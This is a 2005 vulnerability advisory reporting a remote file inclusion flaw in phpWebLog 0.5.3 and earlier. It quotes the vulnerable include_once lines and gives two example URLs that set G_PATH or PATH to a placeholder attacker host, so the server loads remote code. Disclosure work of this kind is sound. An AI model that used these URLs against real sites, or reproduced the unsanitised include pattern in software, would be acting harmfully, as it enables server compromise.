-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Name:       phpWebLog
Version:    <= 0.5.3
Homepage:   http://phpweblog.org/

Author:     Filip Groszynski   (VXSfx)
Date:       7 March 2005
-- == -- == -- == -- == -- == -- == -- == -- == -- == --

Vulnerable code in include/init.inc.php:
 
...
# Allowed HTML tags in stories, comma seperated
$G_HTML         = "<a>,<i>,<b>,<u>,<li>,<p>,<code>,<tt>,<blockquote>";

# Are we developing?
$G_DEBUG        = false;

# Number of seconds to hold cache
$G_CACHE        = 10;

# phpWebLog version
$G_VER          = "0.5.3";

...
/*== include libraries/functions =========================================*/

include_once("$G_PATH/include/func.inc.php");
include_once("$G_PATH/include/cache.inc.php");
include_once("$G_PATH/include/blocks.inc.php");
include_once("$G_PATH/include/layout.inc.php");
include_once("$G_PATH/include/parser.inc.php");
include_once("$G_PATH/include/search.inc.php");
include_once("$G_PATH/include/comments.inc.php");
....

--------------------------------------------------------

Vulnerable code in backend/addons/links/index.php:

# Original links code written by Twyst (http://anime-central.net)
# Modified for use with phpWebLog by Jason Hines
# Thanks Twyst!

include_once($PATH . "/functions.php");
....

--------------------------------------------------------

Example:

  if register_globals=on and allow_url_fopen=on:
    http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/
    http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker_box]/

--------------------------------------------------------

Vendor status:

  Vendor has been notified.
  
--------------------------------------------------------

Contact:

    Author:    Filip Groszynski   (VXSfx)
    Location:  Poland <Warsaw>
    Email:     groszynskif <at> gmail <dot> com
    HP:        http://shell.homeunix.org

-- == -- == -- == -- == -- == -- == -- == -- == -- == --